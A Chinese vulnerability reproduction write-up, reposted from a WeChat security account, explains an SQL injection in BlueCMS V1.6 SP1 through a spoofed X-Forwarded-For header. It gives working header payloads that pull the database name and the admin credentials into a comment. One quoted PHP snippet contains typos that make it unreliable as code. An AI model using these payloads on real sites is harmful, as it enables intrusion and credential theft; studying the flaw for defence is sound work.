前言
BlueCMS是一款国产的CMS平台,十分灵活、方便,早些年广泛的应用于商业系统、个人博客等。在使用getip()函数获取ip时没有严格过滤,导致sql注入。
影响范围:
BlueCMS V1.6 SP1
通过伪造X-Forwarded-For进行SQL注入漏洞,攻击者可以直接获取数据库中管理员的账号密码或其他信息,进一步获取Webshell,甚至危及服务器的安全。
漏洞复现
漏洞出现在`comment.php`
elseif($act == 'send')
{
......
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
在上面的代码中,构造了一个查询语句,将其赋给$sql变量,然后直接执行而不进行任何筛选。可以看到,在sql语句中,有一个getip的值,这个变量是用户可控的。
接下来,搜索找到getip的位置,位于 /include/common.fun.php,代码如下所示:
/**
* 获取用户IP
*/
function getip(){
if (getenv('HTTP_CLIENT_IP')){
$ip = getenv('HTTP_CLIENT_IP');
}elseif (getenv('HTTP_X_FORWARDED_FOR')) {
//获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}elseif (getenv('HTTP_FORWARDED_FOR')){
$ip = getenv('HTTP_FORWARDED_FOR');
}elseif (getenv('HTTP_FORWARDED')){
$ip = getenv('HTTP_FORWARDED');
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改
上面代码首先从环境变量中获取用户的IP,如果IP正常获取则正常返回,如果不存在则客户端通过代理服务器访问时获取IP,如果仍然不存在,它继续取 X_FORWARDED_FOR的值。
可以看出,这里的代码并没有做任何处理,直接取值,然后把得到的值带入Getip,这样我们就可以伪造X_FORWARDED_FOR,构造恶意语句,注入获取敏感数据库信息。
再结合`comment.php`的`$db->query($sql);`来看,函数的值没有过滤直接插入到了SQL语句中,存在SQL注入。
在正常的TCP/IP通信中,可以伪造数据包的源IP,但这会使发送的数据包返回伪造的IP,无法正常通信。
在 TCP/IP 层级很难实现伪造,因为很难实现正常的 TCP 连接;但是,在应用层协议 HTTP 上更容易实现。通过伪造IP,可以欺骗大多数服务器应用程序进行通信。对于绕过服务器的IP地址过滤或伪造源IP特别有用,其后果是未经授权的IP可以访问服务器,甚至可以利用服务器的漏洞。
X-Forwarded-For 请求头格式:
X-Forwarded-For: client, proxy1, proxy2
如果服务器使用 X-Forwarded-For 中的地址(而不是远程地址)作为用户的 IP 地址来实现 IP 地址过滤,那么用户通过伪造 X-Forwarded-For 来获取权限。
利用此漏洞,从comment.php代码中,可以推断出SQL注入发生在评论文章的地方。模拟文章发表时存在小问题,发布文章时必须选择新闻类别,但管理员和普通用户都不能创建分类,因此必须注释掉限制分类不能为空的代码。
限制分类不能为空的代码是前端的JavaScript代码
elseif($act == 'do_add_news'){
include_once 'include /upload.class.php ' ;
$image =new upload () ;
$title = !empty ($_PoST [ 'title']) ? htmlspecialchars (trim($_POST [ 'title' ]);
$color = !empty($_PosT [ 'color']) ? htmlspecialchars (trim($_PoST [ ' color' ]);
$cid = !empty($_POST [ 'cid ']) ? intval($_POST [ 'cid ' ]): '';
//if(empty ($cid)){
// showmsg('新闻分类不能为空');
//}
}
在发布新闻先评论测试一下,看一下数据表记录的字段默认值,回显的位置是在`content字段`中,所以可以构造X-Forwarded-For值注入,先补充前面查询的`ip`和`is_check`字段完成第一次插入,然后再构造第二次插入,注意关闭原始语句中的单引号。
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1
原来的语句变为了
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
原来的语句从中间被断开,前后引号闭合,查询数据库的账号密码并输出到评论之中,注入成功
总结
在BlueCMS1.6 SQL注入漏洞中构造的payload是使用的闭合insert语句,将敏感数据插入到评论表方法。SQL注入漏洞获取的HTTP_X_FORWARDED_FOR字段对应HTTP请求头中的X_Forwarded_For字段。
HTTP请求中,X-Forwarded代表用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段,利用insert 语句插入多条数据,然后再通过select 读取插入的数据将盲注转换成显示注入的。
原文始发于微信公众号(天禧信安):伪造X-Forwarded-For的攻击实例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论